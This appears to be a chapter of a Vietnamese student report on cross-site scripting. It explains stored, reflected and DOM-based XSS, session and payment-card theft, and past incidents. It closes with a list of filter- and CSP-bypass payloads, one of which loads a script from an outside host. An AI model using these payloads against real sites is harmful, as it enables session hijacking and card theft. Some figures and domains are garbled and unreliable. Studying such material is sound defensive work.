Chương I: Giới thiệu Người dùng sẽ truy cập URL do attacker cung cấp trong khi đăng nhập vào trang web đã cho. Mã script được nhúng sẽ xử lý trên trình duyệt của người dùng, nó thể gửi cookie, session của người dùng đến cho attacker. Attacker chiếm phiên làm việc của người dùng. Persistent or Stored XSS Cơ sở tri thức: Trong Stored XSS, attacker nhúng mã JavaScript vào trang web bị lỗi, mã JavaScript đó được lưu xuống database của web bị lỗi.
Mã JavaScript sẽ tồn tại mãi mãi. Khi người dùng tương tác với trang web đó thì mã JavaScript sẽ tự động kích hoạt và thực thi. Cookie của người dùng sẽ tự động được gửi đến attacker, attacker sẽ chiếm phiên làm việc của người dùng. Hình 6 Cơ chế tấn công Stored XSS Cơ chế tấn công: Quy trình tấn công Stored XSS: Attacker nhiễm mã JavaScript vào ứng dụng web.
Mã JavaScript sẽ được lưu xuống máy chủ, thành một phần của trang web. Bất cứ khi nào người dùng truy cập vào trang web mã code sẽ bắt đầu ghi lại những hành động của người dùng và trang. Trang 12 Chương I: Giới thiệu Nếu đó là một web mua hàng thanh toán như eBay, người dùng sẽ không chút nghi ngờ, sau khi mua hàng, người dùng sẽ thanh toán, điền số thẻ, tên thẻ, ngày hết hạn điền mã CVC,. Sau đó trang sẽ thực thi khi mã gửi thông tin về cho attacker với tất cả những thông tin thì attacker có thể chiếm đoạt tài sản của người dùng hết sức dễ dàng.
DOM-based XSS Cơ sở tri thức: DOM viết tắt của Document Object Model là 1 dạng chuẩn của W3C đưa ra nhằm để truy xuất và thao tác dữ liệu của tài liệu có cấu trúc như HTML, XML. Mô hình này thể hiện tài liệu dưới dạng cấu trúc cây phân cấp. Tất cả các thành phần trong HTML, XML đều được xem như một node. DOM Based XSS là một biến thể của Stored XSS và Reflected, kỹ thuật này khai thác XSS dựa trên việc thay đổi cấu trúc DOM của tài liệu, cụ thể là HTML.
Một trong những khác biệt lớn nhất giữa DOM XSS, Stored XSS và Reflected XSS là DOM không thể bị chặn bởi các bộ lọc phía máy chủ vì mã độc sẽ không bao giờ được gửi đến máy chủ. Hình 7 Cơ chế tấn công DOM-based XSS Trang 13 Chương I: Giới thiệu Cơ chế tấn công: Attacker tạo một địa chỉ URL đã được nhúng mã JavaScript cho người dùng. Người dùng bị lừa và truy cập vào đường dẫn của attacker gửi đến. Máy chủ gửi phản hồi lại cho người dùng đồng thời người dùng kích hoạt mã script, script được thực thi.
Session được gửi đến attacker và attacker có được session của người dùng. Tác hại và những cuộc tấn công tiêu biểu của xss Vì mục đích chỉ tấn công vào người dùng và tạo ra những trang không thực, một số người cho rằng XSS là một lỗ hổng bảo mật không mấy nghiêm trọng. Nhưng trên thực tế XSS là một lỗ hổng bảo mật nghiêm trọng như SQL Injections. Cross-site scripting (XSS) nằm ở vị trí thứ 7 trong OWASP Top Ten Most Critical Web Application Security Risks[v] và xếp thứ hai trong số các lỗ hổng phổ biến trong ứng dụng web.
Theo báo cáo của HackerOne’s 2018, XSS tiếp tục là một trong số những lỗ hổng thường gặp nhất. Trong khi đó, một dự án phi lợi nhuận đã sửa chữa hơn 125.000 lỗ hổng XSS cho các trang web trên khắp thế giới. Google đã tiêu tốn 7.500$ cho một lỗ hổng XSS trên tài khoản người dùng. Theo báo cáo trang thái của phần mềm mới nhất của Veracode, 28% trong số các ứng dụng có lỗ hổng SQL, 40% trong số các ứng dụng có lỗ hổng XSS.
Năm 2010, một attacker đã khai thác lỗ hổng XSS của Apache Software Foundation để tấn công lấy quyền truy cập root vào máy chủ chính apache.[vi] Trang 14 Chương I: Giới thiệu Năm 2014, eBay.com bị phát hiện có lỗ hổng XSS và cho đến 2017, eBay vẫn đang được coi là có lỗ hổng XSS. Theo một nghiên cứu về chi phí của Cyber Crime, do Viện Ponemon, thời gian trung bình phải mất để giải quyết một cuộc tấn công là 32 ngày - với chi phí trung bình là $ 1. Nếu máy chủ web đang bị xâm nhập và các ứng dụng web không còn hoạt động, tổn thất sẽ còn cao hơn. Nếu doanh nghiệp có 25 nhân viên mạng lại cho doanh thu theo giờ $ 100 mỗi giờ, và 80% trong số họ bị ảnh hưởng bởi việc không thể sử dụng ứng dụng web doanh nghiệp cho một ngày nào đó, doanh nghiệp sẽ mất tiền trong khoảng từ $ 20.000, sau đó doanh nghiệp phải thêm chi phí làm việc với các nhà cung cấp phần mềm của mình để sửa chữa lỗ hổng XSS.
Nếu attacker đánh cắp thông tin khách hàng đối tác/cá nhân : bao gồm: tên, địa chỉ, số SSNs, số thẻ tín dụng,… vì những thông tin này dễ dàng có được và có thể sử dụng được cho các hoạt động phạm tội, chi phí cơ sở dữ liệu có thể là: Mất uy tín dẫn đến giảm doanh thu do giảm số lượng khách hàng. Chi phí điều tra nội bộ. Chi phí quản lý khủng hoảng. Chi phí bồi thường các loại ràng buộc( ràng buộc bảo vệ thông tin khách hàng,…) 1.
Cross – site Scripting (XSS) trong thanh toán online Mục đích tấn công Trang 15 Chương I: Giới thiệu Bằng việc lấy thông tin của thông tin cá nhân, số thẻ ngân hàng, chứng minh thư hoặc đánh cắp phiên làm việc của ngân hàng, thậm chí là số dư tài khoản. Từ đó, các attacker có thể sử dụng chúng để tạo tiền đề cho các cuộc tấn công khác nhằm mục đích đánh cắp tiền từ tài khoản người dùng hoặc bán những thông tin khách hàng đó cho những tổ chức khắc nhằm mục đích phi pháp. Về cơ bản, nếu chỉ đơn thuần sử dụng kỹ thuật XSS thì attacker khó có thể thực hiện việc tấn công trong thanh toán online, nhưng XSS vẫn được coi là một trong số những lỗ hổng nguy hiểm vì nếu khi XSS kết hợp với nhiều lỗ hổng mật khác (chính sách bảo mật password yếu kém, social engineering, không sử dụng mã OTP để truy cập và giao dịch.) hoặc trang thanh toán không tuân thủ các tiêu chuẩn bảo mật của các đối tác cổng thanh toán ( tiêu chuẩn bảo mật dữ liệu Secure Sockets Layer (SSL), chứng nhận tiêu chuẩn bảo mật dữ liệu thông tin thanh toán ( PCI DSS), tiêu chuẩn mã hóa MD5 128bit) thì các attacker không chỉ có thể chiếm thông tin người dùng mà còn có thể thực hiện việc chiếm tiền trong tài khoản của họ (đặc biệt là nếu trang thanh toán không sử dụng mã OTP trong giao dịch thanh toán) mà không cần dùng bất kỳ một kỹ thuật nào khác. Cơ chế tấn công Đối với thanh toán online, Cross-Site-Scripting (XSS) có thể tấn công bằng một số kịch bản sau: Attacker nhúng những mã tấn công vào ứng dụng web mục tiêu (web có lỗ hổng XSS và có thể khai thác), đánh lừa người dùng tự cung cấp các thông tin cá nhân (user, password,… ) hoặc mã tấn công tự lấy session đăng nhập của dùng.
Cross-Site Scripting (XSS) có thể đánh cắp thông tin thanh toán từ các bộ xử lý thanh toán -The Payment Card Industry Data Security Standard (PCI DSS Trang 16 Chương I: Giới thiệu - tiêu chuẩn bảo mật thông tin thẻ toàn cầu) Cấp 1. Các cuộc tấn công gần đây cho thấy các khoản thanh toán bị tấn công liên tục, nhưng điều đó không có nghĩa là việc thanh toán dưới sự bảo trợ của tiêu chuẩn PCI là không an toàn, mà trên thực tế việc thanh toán trên một ứng dụng web là một tổ hợp bao gồm các bên phần mền thứ ba, chỉ cần một trog số đó hoặc một trong số các trang, cửa sổ liên kế hoặc ô textbox có lỗ hổng XSS thì việc thanh toán online liền trở nên không an toàn. Các trang thường có khung xử lý thanh toán được bảo vệ tốt nhưng các thành phần khác của trang có thể không được bảo vệ tốt cũng là nguy cơ bị tấn công. Attacker có thể sử dụng hai đoạn mã kết hợp với nhau trong trình duyệt của người dùng và tương tác theo cách mà dữ liệu được hiển thị.
Nếu attacker có thể có được đoạn mã tấn công để chạy bên cạnh trang xử lý thanh toán, họ có thể đọc bất cứ điều gì họ muốn. Các cuộc tấn công lớn Trong đó tháng 6 tháng 7 năm 2006, Hacker người Indian Vansh Sharma và Vaibhuv Sharma, đã khai thác lỗ hổng XSS trên trang PayPal để đánh cắp dữ liệu quan trọng như số thẻ tín dụng từ các tài khoản thanh toán trong hơn hai năm cho đến khi các nhà phát triển của PayPal sửa lỗ hổng đó [ix][x]. Năm 2016, trang mua bán online eBay bị tìm thấy là có lỗ hổng XSS. Lỗ hổng thực chất nằm trong tham số URL cho phép hacker nhúng nhiễm iFrame độc hại vào website eBay, đến đầu năm 2017 lỗ hổng này vẫn chưa đươc sửa chữa.
Năm 2018, British Airways bị lộ dữ liệu của hơn 380,000 credit cards đây cũng được một só chuyên gia cho rằng là sản phẩm của lỗ hổng XSS. Trang 17 Chương I: Giới thiệu Sau hơn 20 năm, attacker không ngừng cải tiến và phát triển kỹ thuật cũng như quy mô tấn công của mình. Năm 2001, XSS chỉ sử dụng mã tấn công nhúng vào trang, lưu xuống nơi lưu trữ có thể gây nguy hại đến cá nhân người dùng. Trãi qua nhiều cuộc tấn công lớn XSS không chỉ là việc nhúng mã còn nhúng cả chương trình độc hại (worm), kết hợp nhiều loại XSS (DOM XSS), kết hợp nhiều loại tấn công ứng dụng web (SQL Injection, DDoS, social engineering,.) để thực hiện tấn công, vượt qua lớp bảo vệ của các thiết bị an ninh (bypass filter).
Các loại bypass nâng cao Mixed Case XSS Sử dụng để bypass qua các trường hợp phân biệt chữ hoa và chữ thường: <svg Onload = alert(1)> <script>alert(1);</script> Unclosed Tags Sử dụng để bypass qua các trường hợp tránh lọc dựa trên sự hiện diện của 2 dấu (<) và (>) <svg onload=alert(1)// <svg onload="alert(1)" Double Encoded XSS Sử dụng các ứng dụng để double encoded đầu vào. Trang 18 Chương I: Giới thiệu %253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E %2522%253E%253Csvg%2520o%256Enoad%253Dalert%25281%252 9%253E Alert without Parentheses (Tag Exclusive) Sử dụng HTML thay thế “&” thành “%26” <svg onload=alert(1)> <svg onload=alert(1)> Alert without Alphabetic Chars Sử dụng ký tự alphabetic để mã hóa dữ liệu đầu vào []['\146\151\154\164\145\162']['\143\157\156\163\164\162\165\143\164\ 157\162'] ('\141\154\145\162\164\50\61\51')()<SCRIPT SRC=//BRUTELOGIC.BR/1></SCRIPT> CSP Bypass (for Whitelisted Google Domains) Sử dụng khi các CSP (Content-Security Policy) cho phép thực thi trên domain. <script src=https://www.com/complete/search?client=chrome %26jsonp=alert(1);></script> <script src=https://ajax.com/ajax/libs/angularjs/1.js> Trang 19 Chương I: Giới thiệu </script><x ng-app ng-csp>{{constructor.